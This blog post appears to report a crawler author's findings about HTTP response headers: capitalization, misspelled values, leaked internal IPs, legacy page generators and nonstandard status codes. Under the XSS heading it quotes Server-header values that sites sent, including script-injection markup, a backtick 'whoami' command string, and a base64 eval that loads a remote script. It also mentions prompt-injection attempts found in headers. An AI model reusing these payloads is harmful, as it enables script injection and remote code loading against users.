I’ve been running my web crawler, lawa, for a couple days now. Other than what I’ve already covered in the linked post, here’s a few interesting insights:

Header‐name capitalization varies. Over 7.4 million header lines, 74.6% are Title‐Case, 19.0% are lowercase, 4.4% are mixed, and 1.9% are ALL‐CAPS. The interesting thing is that it also varies per‐header: Set-Cookie is lowercased 40% of the time, and Date is lowercased 5% of the time. HTTP/2 mandates lowercase, so I guess I’m seeing HTTP/2 backends mixing with HTTP/1.1 frontends, with different headers originating from different places.

Rare finds: SERVER (63), Last-modified (39), X-Powered-by (5), cache-Control (4).

Latency also varied by server software:

X-Content-Type-Options

X-Content-Type-Options has only one valid value, nosniff. lawa saw 40 various misspellings: "nosniff" always, nosniff always, : nosniff, X-Content-Type-Options: nosniff, nosniffnosniff, no-sniff, nosnif, nosniffs, nos!niff!, sniff, and more.

We also saw very common misspellings with other headers with small valid vocabularies. X-Frame-Options has two or three valid values depending on what you count, but lawa has found 656 different ones so far. The HSTS max-age value has frequent problems too: - or : instead of =, or malformed dates or unfilled templates.

Broken self‐disclosures

12,544 header values contain RFC 1918 addresses: x-loopia-node, x-upstream, x-backend-ip, x-sc-lb, x-cache-backendip and friends.

11,277 responses ECHO LAWA’S OWN REQUEST HEADERS BACK. The best of these is authory.com, which echoes X-Forwarded-For, and therefore HANDED ME THE IP ADDRESS OF EVERY OTHER CRAWLER HITTING IT AROUND THE SAME TIME:

From: googlebot(at)googlebot.com From: robin@dreamstation.systems User-Agent: Amazon CloudFront X-Forwarded-For: 116.179.32.134, 64.252.118.91, 10.10.2.71, 10.10.22.212 X-Forwarded-For: 116.179.32.15, 64.252.121.74, 10.10.22.37, 10.10.22.212 X-Forwarded-For: 117.132.188.205, 64.252.118.91, 10.10.2.71, 10.10.22.212 X-Forwarded-For: 117.132.188.205, 64.252.119.115, 10.10.22.37, 10.10.22.212 X-Forwarded-For: 12.235.109.34, 64.252.122.17, 10.10.2.71, 10.10.22.212 X-Forwarded-For: 158.140.192.25, 64.252.119.115, 10.10.22.37, 10.10.22.212 X-Forwarded-For: 158.140.192.34, 64.252.121.74, 10.10.22.37, 10.10.22.212 X-Forwarded-For: 158.140.192.7, 64.252.118.91, 10.10.2.71, 10.10.22.212 X-Forwarded-For: 158.140.192.70, 64.252.122.17, 10.10.2.71, 10.10.22.212 X-Forwarded-For: 158.140.192.80, 64.252.119.115, 10.10.22.37, 10.10.22.212

Page generators

767 pages are still made by Microsoft FrontPage. Also found: Netscape Composer (Mozilla/4.79 [en] (Win98; U) [Netscape]), Adobe GoLive, Adobe PageMill, Claris Home Page, HotDog, NetObjects Fusion, AceHTML, Arachnophilia, Amaya, “Internet Assistant for Microsoft Word 2.0z”, and Microsoft WordPad.

Joke headers

Malware

XSS

mxsasha.eu

Server: </div><marquee><h1 onmouseover="alert(1)" style="color:blue;"><b><i>\xE2\x80\x8Fmærquęé <3 👩💻🏳️🌈<img src="https://s42.re/hsh.png" crossorigin="anonymous"><style>body{background-color: green;}</style>\x27\\x27"\\`whoami\`

ziad87.net

Server: awesome<img src=x onerror=eval(atob('KCgpPT57YWxlcnQoImhleSB0aGVyZSEiKTt3aW5kb3cuJHVzZXJOYW1lPWxvY2F0aW9uLmhvc3RuYW1lLHdpbmRvdy4kbm9DbGljaz10cnVlLGhlYWQ9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXTtlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Uuc3JjPSJodHRwczovL3ppYWQ4Ny5uZXQvc2NyaXB0cy9xdXJzb3Jfb25saW5lLm1pbi5qcz92MTkiLGhlYWQuYXBwZW5kQ2hpbGQoZSl9KSgp'))>sauce

Prompt injection

There are several extremely amateurish attempts at prompt injection:

Along with some of the old Anthropic refusal‐trigger strings that don’t work anymore.

Seriously? Not even a <system_reminder>? No Pliny copy and paste?

Reason phrases

962 distinct spellings. 301 Force SSL (492), 302 Object moved (618, classic ASP), 418 I'M A TEAPOT, and 418 “Blocked access”. Also 403 Bad Behavior, 307 Human BD Forbidden, 503 No healthy IP available for the backend. Undefined codes seen: 247, 289, 297, 419, 425, 428, 433, 437, 442, 443, 453, 455, 458, 464, 468 (“unknow”), 470, 472, 475, 477, 480, 482, 490, 492 (“unknown”), 498, 507, 509, 555, 567, 571, 599. LinkedIn answers robots.txt with 999. Also seen on robots.txt: 666, 702, 903, 603.

5,378 pages returned 202 Accepted for a GET, which is meaningless for fetching a page.